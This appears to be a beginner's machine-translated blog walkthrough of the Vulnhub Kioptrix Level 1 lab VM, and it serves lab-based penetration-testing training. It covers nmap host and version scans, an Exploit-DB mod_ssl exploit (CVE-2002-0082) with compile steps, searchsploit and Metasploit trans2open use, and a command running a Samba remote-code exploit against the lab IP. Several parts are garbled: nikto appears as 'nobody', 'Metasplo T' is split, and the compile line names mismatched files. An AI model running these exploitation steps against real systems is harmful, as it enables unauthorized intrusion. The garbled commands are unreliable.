Profile personly
Vulnhub is a platform shooter that offers many vulnerabilities.
Personal learning goal: 1. It is convenient to learn more types of vulnerabilities. 2. Create a 0SCP rule.
Download Link
https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
Workspace
Kali：192.168.44.128
Purpose: NAT mode
Special note:Some friends cannot obtain the IP address of the target machine after opening the virtual machine
Here is a special description: Edit »Kioptix Level 1.vmx“Ethernet0.netWorkName=”nat“
Related knowledge point:
-
Samba 2.2.1A buffer overflow
-
Samba RCE
-
Apache / MOD_SSL buffer overflow
-
msf_search_samba_version (module)
-
searchsploit
0x00, collect information
Finding Lead: NMAP -SP 192.168.44.0/24
Port scan: NMAP -SV 192.168.44.132
0x01、apache/mod_ssl
Use kali to fetch nobody: nobody – h 192.168.44.132
Scan result
Try to use
https://www.exploit-db.com/search?cve=2002-0082
Perform according to the prompts
apt-get install libssl-dev
gcc -o 47080 48080.c -lcrypto
Target machine version -0x6d -redhat Linux 7.2 (Apache -1.3.24)
0X02、Samba
Because NMAP did not check the Samba version
Use the Metasplo T module to scan the Samba version
searchsploit samba 2.2.1a
1) trans2open (using metasploit)
payload tuning:
2） Remote code execution
Group Exp/Query options
Run ./samba -b 0 192.168.44.132
Welcome to the big guys fix, if there are places, please advise.
This is my first blog post. vulnhub series will be updated from time to time.
I am eating. Thanks for reading and patient correction!